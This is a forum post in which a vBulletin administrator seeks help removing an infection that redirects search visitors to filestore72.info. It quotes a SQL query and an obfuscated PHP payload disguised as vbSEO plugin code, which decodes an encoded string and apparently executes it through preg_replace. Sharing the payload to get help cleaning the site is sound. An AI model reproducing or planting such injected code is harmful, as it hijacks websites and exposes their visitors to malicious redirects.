View Single Post
  #1  
Old 07-19-2015, 01:57 PM
Fynnon Fynnon is offline
 
Join Date: Jul 2008
Posts: 120
Благодарил(а): 0 раз(а)
Поблагодарили: 0 раз(а) в 0 сообщениях
Default vB 3.8 virus infection - How to remove filestore72.info

Hi, i got some people complaining that coming from google the forum redirects to filestore72.info


using


Code:
SELECT * FROM datastore WHERE data LIKE '%strtr%'
found something i can`t decipher so maybe someone in here could provide some assistance

PHP Code:
$vbulletin->templatecache['headinclude'].=fetch_template('activity_headinclude');



$pt 'b6d38f1684e2389d8aa938bc5fbee5c6';
$arrvb '30m%D2zm93h[,V3kRV3D>/e=>K%omJ=A+g}]*K%lEC+8zlX6m"=ogKJ[mgX6kB4jk7j<3Bq&E.VjmgX?zC)_gKJBkl=BkBk9T.jf>/eR>K&0+8=%k]>0k]T]#bL<*|8<+Or<k|X%V.4jg8~Nw8qz>/~6g7j<+g+rz.rO;gX%Xvq^+CJvzKq%E/X6k%=Bz|}&TB4jg8~Nw8qz>/~6g7j<En9jVn8Lk/>%+8=Q;gqvm.4]1K>0V/&AkC%j+g>x;|>rVK&xkK&8k]~x3")o+CJ[1Kj]#.q^w6J7JjJ7"BV1J)q}g8JnqJ>^}wV)n%}]g7jf>/T=}/~rk]X%g|JBz.4jg8X)w%+)w%9]7)qww)=7qw+)wjJ7>86<*Bq6NwLjk89]mC=AV.VV*BqBNw~?klJ]gK8rVCXRE.kvzC%K+J?o;K=Q^CV0zKV9+J?o^/%rmC=0g._x;l%o+B_vzK8x3")o+CJ[g._BVg&B;"8OzCJBg._BVg&O;"%jVJ?o^C+r;KJOzK=!g._xm"_AVC)]kl)Qg._xVC%o3gJBz)?o^C><V)?oz/jvm7k9>/}<^/?jVb6=>|}o;Kx]*BqRNwLjg8X)w%+)w%9]7)qww)=1n8Xw>86f>/L=}eXNn6Q>qJ=}wjJC7J4f>Ce=})q17JX^w6X77J~wNn6=>K8<kKT]*BqvN7q?#OV9;gX6Vl%Amg}]*BqoN7q?#OV9;"_]gK%j>A9j3n8Lz|>jEe+>neJ^JjJ7w6%NnOj:kr!D[|Z:Xnef>/R=+"8?V/jR>)=nqJ>"qJ>z>6rwJ)~^")=Xn8R]g7jf>CR=>A&A;|><k/}4V/%?+n6OVCJ[V.=I;g+rkKXBmg~61O~AklT=1Oko>/+OV"&9+gq<zO6:kr!D[|Z:z|~6m"=ok89];l>8kl?]g7[]#K8<kKTokCr?N|;=>B[jVl>8zC&%VC%o#n_0k/q<zK_A"BVAm"8?zCJK+g>Am"=o>86o>B+rzgLfm]T=m]TONv?0kKXBmg~6NOkfm";R+"8?V/jR>)=bn6=#7wJz>C_VE7%fm";R>Cel>l%AkKJ6E.q^q6Jw"BVK>86<>O;RmgXA+g}R>)=/qJqz>K<A>86<E7;lE.)%zg~6374jg6XNn6Q>qJ9j;86<E7%fm";R>/}=N7qREgQ<+O4j3O%A+gqvzK=!m"wR>C[9>KJo>B&6m"8%E.j!TA;?TbL<*BqQNgX8;]X6kOrQ+bwR>C4<#bL9*.jfk/><z]}R1lq0;|JQ+"_6#l&0;K)6m"=oN7VRV/q?*Ox0+l%9+gX6z|>%XA1om"_lzB=jz|VozC=r+._?m/L:kr!D[fZ:m"}=3BqQ^7kOEnQ=+gr<VbQ=m";RE.ejV7jl>OqBEgQ<+O4j37%f>eVTn6>~n)Xz>|q%zg~9;gq%gKr0zK9]gJ9]mCJr+C%o;K&8+CJ^ml)K;gXvkl%?V.VV#v6jmvQ=+"&A+g9jq6&N}j)Tw89]k|q_zCw]gJ9];|XA>86oN7qI*|8=^}ZZ`';
$ajx ':eMx(UPoYL}O`I5&@|=XQ^sp4~1Tt*./+2>9j"7AmgKv#rZy8!Vwd[kqicnS6NhzD-a$R;ulF3,BG{?JWfCEb%]H0)_<';
$ajx2 '.E[8/~?u#AQi;q-x|39Ntf&<gBIM,OCHZ@JskWSzaX2jLh)+1rdU`4cR:=T>0P6b($"%oY!m{e_y}]wV*7GKDln^vF5p';
$baseline '%s%'.substr($arrvb7331);
$gpu preg_replace($baselinestrtr($arrvb$ajx$ajx2), 'vbseo');
if(
$vbulletin->options['vbseostats']&&$vbulletin->options['vbseonavLink']){
  eval(
'$template_hook[navbar_buttons_left].="'.fetch_template('activity_navbar').'";');
}
//endif($vbulletin->options['vbseonavLink'])


$vbulletin->templatecache['forumhome_lastpostby'] = $vbulletin->templatecache['colorsforusergroupinforumdisplay'] . $vbulletin->templatecache['forumhome_lastpostby']; 
Reply With Quote
 
X vBulletin 3.8.12 by vBS Debug Information
  • Page Generation 0.01304 seconds
  • Memory Usage 1,786KB
  • Queries Executed 11 (?)
More Information
Template Usage:
  • (1)SHOWTHREAD_SHOWPOST
  • (1)ad_footer_end
  • (1)ad_footer_start
  • (1)ad_header_end
  • (1)ad_header_logo
  • (1)ad_navbar_below
  • (1)bbcode_code
  • (1)bbcode_php
  • (1)footer
  • (1)gobutton
  • (1)header
  • (1)headinclude
  • (6)option
  • (1)post_thanks_box
  • (1)post_thanks_button
  • (1)post_thanks_javascript
  • (1)post_thanks_navbar_search
  • (1)post_thanks_postbit_info
  • (1)postbit
  • (1)postbit_onlinestatus
  • (1)postbit_wrapper
  • (1)spacer_close
  • (1)spacer_open 

Phrase Groups Available:
  • global
  • postbit
  • reputationlevel
  • showthread
Included Files:
  • ./showpost.php
  • ./global.php
  • ./includes/init.php
  • ./includes/class_core.php
  • ./includes/config.php
  • ./includes/functions.php
  • ./includes/class_hook.php
  • ./includes/modsystem_functions.php
  • ./includes/functions_bigthree.php
  • ./includes/class_postbit.php
  • ./includes/class_bbcode.php
  • ./includes/functions_reputation.php
  • ./includes/functions_post_thanks.php 

Hooks Called:
  • init_startup
  • init_startup_session_setup_start
  • init_startup_session_setup_complete
  • cache_permissions
  • fetch_postinfo_query
  • fetch_postinfo
  • fetch_threadinfo_query
  • fetch_threadinfo
  • fetch_foruminfo
  • style_fetch
  • cache_templates
  • global_start
  • parse_templates
  • global_setup_complete
  • showpost_start
  • bbcode_fetch_tags
  • bbcode_create
  • postbit_factory
  • showpost_post
  • postbit_display_start
  • post_thanks_function_post_thanks_off_start
  • post_thanks_function_post_thanks_off_end
  • post_thanks_function_fetch_thanks_start
  • post_thanks_function_fetch_thanks_end
  • post_thanks_function_thanked_already_start
  • post_thanks_function_thanked_already_end
  • fetch_musername
  • postbit_imicons
  • bbcode_parse_start
  • bbcode_parse_complete_precache
  • bbcode_parse_complete
  • postbit_display_complete
  • post_thanks_function_can_thank_this_post_start
  • showpost_complete